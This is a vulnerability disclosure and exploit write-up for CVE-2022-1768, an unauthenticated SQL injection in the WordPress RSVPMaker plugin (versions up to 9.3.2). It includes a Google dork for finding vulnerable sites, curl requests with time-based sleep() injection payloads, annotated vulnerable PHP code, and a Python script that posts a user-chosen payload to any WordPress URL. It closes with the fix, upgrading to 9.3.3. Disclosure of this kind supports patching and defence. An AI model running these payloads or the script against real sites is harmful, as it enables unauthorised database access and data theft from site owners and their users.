Exploit Title | WordPress Plugin RSVPMaker <= 9.3.2 - Unauthenticated SQL Injection vulnerability |
Exploit Author | Muhammad Zeeshan (Xib3rR4dAr) |
Date | May 2, 2022 |
Plugin Link | RSVPMaker |
Plugin Active Installations | 600+ |
Version | 9.3.2 (Latest) |
Tested on | Wordpress 5.9.3 |
Vulnerable Endpoint | /wp-json/rsvpmaker/v1/stripesuccess/anythinghere |
Vulnerable File | /wp-content/plugins/rsvpmaker/rsvpmaker-email.php#L2863#L2868 |
Vulnerable Parameters | rsvp_id |
Google Dork | inurl:/wp-content/plugins/rsvpmaker |
CVE | CVE-2022-1768 |
The RSVPMaker plugin for WordPress is vulnerable to unauthenticated SQL Injection due to insufficient escaping and parameterization on user supplied data passed to multiple SQL queries in the ~/rsvpmaker-email.php file. This makes it possible for unauthenticated attackers to steal sensitive information from the database in versions up to, and including, 9.3.2.
Endpoint is also vulnerable to unauthenticated data modfication by users.
Vulnerable Endpoint: /wp-json/rsvpmaker/v1/stripesuccess/anythinghere
Vulnerable Parameters:
- rsvp_id
rsvp_id
is Integer based SQL Injection.
- On wordpress installation, install and activate latest version of RSVPMaker which is version 9.3.2 as of writing, from Wordpress Plugins Repo.
- Send following request, response time will be greater than 4 seconds:
time curl --data "rsvp_id=(select(0)from(select(sleep(2)))a)&amount=1234&email=randomtext" http://127.0.0.1/wp-json/rsvpmaker/v1/stripesuccess/anythinghere
- Send following request, response time will be greater than 10 seconds:
time curl --data "rsvp_id=(select(0)from(select(sleep(5)))a)&amount=1234&email=randomtext" http://127.0.0.1/wp-json/rsvpmaker/v1/stripesuccess/anythinghere
- Rest route is registered as
/rsvpmaker/v1/stripesuccess/(?P<txkey>.+)
. - Input is taken from POST parameters and sanitized via WordPress' builtin function
sanitize_text_field
but since vulnerability is Integer based SQL Injection, quotes are not required. - If
email
andrsvp_id
POST parameters are not empty, they are passed to methodrsvp_confirmation_after_payment
- Since prepared queries are not used and value of parameter
rsvp_id
is not inside quotes, SQL Injection occurs. - When value of POST parameter
rsvp_id
parameter is(select(0)from(select(sleep(2)))a)
and POST parameteremail
has any value, sample queries executed will be:
SELECT * FROM wp_rsvpmaker WHERE id=(select(0)from(select(sleep(2)))a)
SELECT * FROM wp_rsvpmaker WHERE master_rsvp=(select(0)from(select(sleep(2)))a)
wp-content/plugins/rsvpmaker/rsvpmaker-api-endpoints.php:
...
396: class RSVPMaker_StripeSuccess_Controller extends WP_REST_Controller {
397:
398: public function register_routes() {
399:
400: $namespace = 'rsvpmaker/v1';
401:
402: $path = 'stripesuccess/(?P<txkey>.+)';
403:
404: register_rest_route(
405: $namespace,
406: '/' . $path,
407: array(
408:
409: array(
410:
411: 'methods' => 'POST',
412:
413: 'callback' => array( $this, 'get_items' ),
414:
415: 'permission_callback' => array( $this, 'get_items_permissions_check' ),
416:
417: ),
418:
419: )
420: );
421:
422: }
...
434: public function get_items( $request ) {
...
442: foreach ( $_POST as $name => $value ) {
443:
444: $vars[ $name ] = sanitize_text_field( $value );
445: }
...
504: rsvpmaker_stripe_payment_log( $vars, $key );
...
wp-content/plugins/rsvpmaker/rsvpmaker-stripe.php:
617: function rsvpmaker_stripe_payment_log( $vars, $confkey ) {
...
620: if ( ! empty( $vars['email'] ) ) {
621: rsvpmaker_stripe_notify( $vars );
622: }
...
629: function rsvpmaker_stripe_notify( $vars ) {
...
634: if ( ! empty( $vars['rsvp_id'] ) ) {
635: rsvp_confirmation_after_payment( $vars['rsvp_id'] );
...
wp-content/plugins/rsvpmaker/rsvpmaker-email.php:
2858: function rsvp_confirmation_after_payment ($rsvp_id) {
...
2863: $sql = "SELECT * FROM ".$wpdb->prefix."rsvpmaker WHERE id=$rsvp_id";
2864: $rsvp = (array) $wpdb->get_row($sql);
...
2868: $guests = $wpdb->get_results("SELECT * FROM ".$wpdb->prefix."rsvpmaker WHERE master_rsvp=$rsvp_id");
import requests, re, json, urllib.parse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Uncomment to use proxy
proxyDict = {
#"http": "http://127.0.0.1:8081",
#"https": "http://127.0.0.1:8081"
}
wpurl = input('\nWordPress URL: ')
payload = input('\nPayload: ') # (select(0)from(select(sleep(5)))a)
wp_session = requests.session()
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15"}
endpoint = f'/wp-json/rsvpmaker/v1/stripesuccess/anythinghere'
exploit_payload = {
"rsvp_id": payload,
"amount": "1234",
"email": "randomtext"
}
exploit_url = wpurl+endpoint
print(f'\nSending: {exploit_url}')
wp = wp_session.post(exploit_url, headers=headers, data=exploit_payload, proxies=proxyDict, verify=False)
data = wp.text
print("\nResponse: \n" + data)
print(f'\nTime taken: {wp.elapsed.total_seconds()}')
- Update RSVPMaker plugin to version 9.3.3, or newer.